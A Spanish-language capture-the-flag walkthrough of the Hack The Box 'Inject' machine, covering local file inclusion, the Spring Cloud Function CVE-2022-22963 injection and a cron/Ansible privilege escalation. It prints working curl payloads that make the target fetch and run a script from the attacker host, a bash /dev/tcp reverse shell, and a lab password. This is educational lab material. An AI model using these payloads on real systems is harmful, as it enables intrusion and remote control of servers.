La máquina Inject es una máquina fácil en HTB.
Resumen de conceptos trabajados en Inject:
Web Enumeration Local File Inclusion + Directory Listing Information Leakage Spring Cloud Exploitation (CVE-2022-22963) Abusing Cron Job Malicious Ansible Playbook (Privilege Escalation) |
Descubriremos un LFI con el que tendremos capacidad de «Directory Listing», gracias al LFI sabremos el servicio interno y encontraremos una vulnerabilidad que mediante Java podremos hacer RCE para obtener una «reverse shell».
Localizaremos las credenciales de otro usuario en un archivo XML y como último, mediante pspy podremos ver una tarea que ejecuta archivos YML con lo que podremos poner la bash con permisos SUID.
Si es tu primera máquina en Hack The Box y no sabes cómo conectarte a la máquina del laboratorio, te recomiendo que visites este post donde te cuento cómo introducirte en esta plataforma.
A continuación, para conectarte a la máquina, tendrás que establecer la conexión con la máquina víctima de HTB conectándote a la VPN desde la carpeta donde la tengas descargada, y desde ahí ejecutarás el comando «sudo openvpn NOMBRE_VPN.ovpn».
Estructura del contenido
ENUMERACIÓN -> ESCANEO DE PUERTOS
Para asegurarte que está conectado a la máquina víctima ejecuta este comando «nmap -sn IP».
Máquina activa – LINUX: TimeToLive 63 (64 son Linux -1 del nodo intermediario =63)
ping -c 1 10.10.11.204 -R (para ver el trace route con el nodo intermediario)
Ya establecida la conexión empezamos el análisis:
nmap -sCV 10.10.11.204
Con -sCV lanzamos unos scripts básicos de reconocimiento de nmap para ver los servicios y versiones que corren para esos puertos abiertos detectados en consola.
En este caso se detectan dos puertos abiertos: puerto 20 ssh y 8080 web
BÚSQUEDA DIRECTORIOS INTERNOS
Si accedemos por navegador a la ip y puerto 8080 => http://10.10.11.204:8080/ el browser nos responde con una web en la que sólo podemos interactuar con la parte de /blogs y con un directorio que podemos ver en el código fuente llamado /upload (y un /register que está “under construction”)
Si no detectáramos por la web esos directorios, otra opción es con GOBUSTER, listar los directorios, de esta forma:
En este caso ya detectamos el directorio /upload, por lo que continuaríamos por aquí:
Interesante directorio /upload que previsiblemente nos permitirá hacer un LFI, profundizamos y nos permite subir archivos.
Probamos a descargar una imagen y subirla para comprobar si realmente se ha subido al site…ya que sólo permite subir imágenes.
¡Perfecto! se pueden subir archivos, y si probamos a subir una imagen vemos que esta se sube dentro del site parametrizada con ?img=gorila.jpg
Esto puede ser un indicativo de vulnerabilidad a Local File Inclusion o podemos probar a subir un archivo malicioso y entablarnos una reverse shell…
LOCAL FILE INCLUSION
Si probamos el LFI haciendo un Directoring Listing, efectivamente podemos ver el archivo passwd de la máquina víctima, de esta forma:
*PARA TESTAR LA SUBIDA DE ARCHIVOS CON BURPSUITE
Con este comando se abre bupsuite en segundo plano, se redirige el stder y el stdout al dev/null para que no se vea nada por consola.
Una vez ya dentro si interceptamos la petición cuando subimos la imagen…
Activarías el foxyproxy para burpsuite, y al subir la imagen vemos como se registra en Burpsuite la petición por POST:
Hacemos un Ctrl+R para enviarlo al “Repeater” y hacer las diferentes pruebas…
INFORMATION LEAKAGE
En este caso, si, una vez ya hemos subido la imagen gorila.jpg por el método POST, tratamos de hacer una petición al servidor de esa imagen por el método GET a través de este comando, vemos que se nos muestra un INFORMATION LEAKAGE mostrando la url del directorio donde está almacenada:
Como es JSON, para ver ese output de una forma más visual, te puedes instalar apt install jq y se vería así:
DIRECTORY LISTING
A partir de aquí, si probamos a sustituir en la ruta de la URL el gorila.jpg por ”../” para ir hacia atrás en las carpetas del directorio, podemos ver que se muestra esa info por lo que tendríamos capacidad de ejecutar DIRECTORY LISTING.
Entonces ahora, para intentar acceder al etc/passwd según esa información de directorios, tendríamos que irnos 6 directorios atrás desde la subida de la imagen, de tal forma que quedaría:
curl -s -X GET "http://10.10.11.204:8080/show_image?img=../../../../../../etc/passwd"
Y así ya tendríamos un LFI (además del Directory Listing) e intentar acceder a archivos de la máquina.
Vemos del output que tenemos 2 usuarios detectados que acaban en “sh” (frank y phil)
Como podemos hacer directory listing y navegar entre directorios, podemos ver toda la raíz del sistema:
Investigando para ver usuarios en /home, vemos que hay estos dos, y si profundizamos en “frank” llegamos a ver credenciales de “phil”…
Usuario: phil
Contraseña: DocPhillovestoInject123
Si nos intentamos conectar al ssh con esas credenciales, parece que no entramos tan fácil, eso no quiere decir que la contraseña no sea válida, si no que a lo mejor el usuario phil no tiene acceso a entrar por ssh….
Entonces buscamos otras formas de encontrar credenciales…
Volvemos a nuestro directory listing para ver más carpetas y retrocedemos en 3 directorios:
Y nos encontramos con un “pom.xml”…
Vemos que hay muchas dependencias a un “.springframework”.
Investigamos eso y vemos que Spring es un framework de código abierto que facilita la creación de aplicaciones en Java (enlace Wikipedia).
SPRING CLOUD EXPLOITATION (CVE-2022-22963)
Si buscamos en Google vemos que existe en Github una vulnerabilidad que permite hacer un RCE a través de una Reverse-Shell:
curl -X POST https://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("wget http://10.10.14.124/shell -O /tmp/shell")' --data-raw 'data' -v
https://github.com/J0ey17/CVE-2022-22963_Reverse-Shell-Exploit
Si vemos el exploit, está lanzando por método POST mediante cabecera, una nueva línea que llama al payload el cual ejecuta el cmd.
Por lo que probamos a ejecutar mediante curl una petición por POST y hacer un ping de esta forma, y así vemos si podemos ejecutar comandos a nivel de sistemas RCE:
curl -X POST http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("ping -c 1 10.10.14.124")' -d '.'
Nos abrimos otra Ventana y por tcpdump nos ponemos en escucha de recibir trazas icmp por tun0.
De esta forma lo que hacemos es asegurarnos que si hacemos ese ping y por esa escucha recibimos la traza, quiere decir que hemos inyectado ese comando del lado del servidor.
Y efectivamente al ejecutar el curl anterior, se envía esa traza ICMP donde 10.10.11.204 (máquina víctima) envía un ping a 10.10.14.124 (máquina atacante).
Por tanto una vez ya hemos visto que tenemos acceso a la ejecución de comando, el siguiente paso es ganar acceso al sistema.
Lo que haremos es crear un archivo html donde definir un comando en bash y así entablarnos una reverse Shell y así ganar acceso.
Primero nos montamos con Python un servidor http por el puerto 80
Nos creamos un archivo en bash que contenga una reverse Shell desde la carpeta de la máquina por ejemplo HTB/Inject, así:
IP máquina atacante y puerto 4444 para luego hacer la escucha a través de netcat.
*con permisos root en el sistema, y dentro de la carpeta de HTB/Inject nos creamos con nano y .sh (rev.sh) con esta info:
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.214/9999 0>&1
Petición CURL JS
curl -X POST 'http://10.10.11.204:8080/functionRouter' -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl http://10.10.14.124:8888/rev.sh -O /tmp/rev.sh")' --data-raw 'data' -v
Dentro de la carpeta donde creamos el rev.sh, lanzamos un servidor en escucha por el puerto 8888 con Python 3 para ver si la petición por POST registra la petición por CURL del fichero.
Sí registra la petición GET con un 200…
De esta forma ya quedaría subida nuestro script rev.sh de reverse Shell.
Ahora haría que ejecutarlo dándole permisos de ejecución, por lo que tendríamos que modificar la petición CURL:
curl -X POST 'http://10.10.11.204:8080/functionRouter' -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /tmp/rev.sh")' --data-raw 'data' -v
PD: Teniendo en cuenta que nuestro archivo “rev.sh” redirigía al puerto 9999, ahora en paralelo abrimos un netcat por ese mismo puerto 9999 para que cuando ejecutemos el CURL anterior se nos abra la consola y ya tenemos la BASH.
Somos Frank por lo que nos conectamos desde Frank como si fuéramos Phil por ssh (su phil) con las credenciales de inicio que sacamos del settings.xml
DocPhillovestoInject123
Y ahora somos phil !
Y ahora retrocedemos hasta el usuario phil para ver la primera flag contenido en user.txt
Una vez tenemos la flag del usuario Phil, ahora toca escalar privilegios de root de la máquina.
Vemos que el usuario phil pertenece al grupo de usuarios de “STAFF” y que tiene permisos para, a priori ejecutar una automatización de tareas:
Por tanto parece tener que ver con tareas cron…
ABUSING CRON JOB
Si profundizamos en esa carpeta, vemos que dentro hay un archivo .yml que son los que se utilizan para automatizar tareas.
Si hacemos un cat vemos su estructura:
Lo que vamos a hacer nosotros es crearnos un nuevo fichero yaml con esa estructura pero modificando variables y valores.
*Cuidado con los espacios (como este del ejemplo) ya que si no está bien configurado o la sintaxis no es buena, no funcionará.
Ya que vemos que el usuario phil no tiene permisos de ejecución del fichero .yml, tan sólo de lectura y escritura:
Una vez creado, lo que hacemos es montarnos un servidor con python3 por el puerto 8887 (el 8888 dará error porque lo estamos usando en otra consola) para hacer la petición por wget con bash usuario phil:
Efectivamente la petición se recoge en el server por tanto ahora vemos el nuevo fichero con permisos de ejecución por lo que podríamos llegar a root:
Y ya a través de esa tarea de cron podemos ejecutar el cron y por tiempo acceder a cd root y extraer la ROOT FLAG.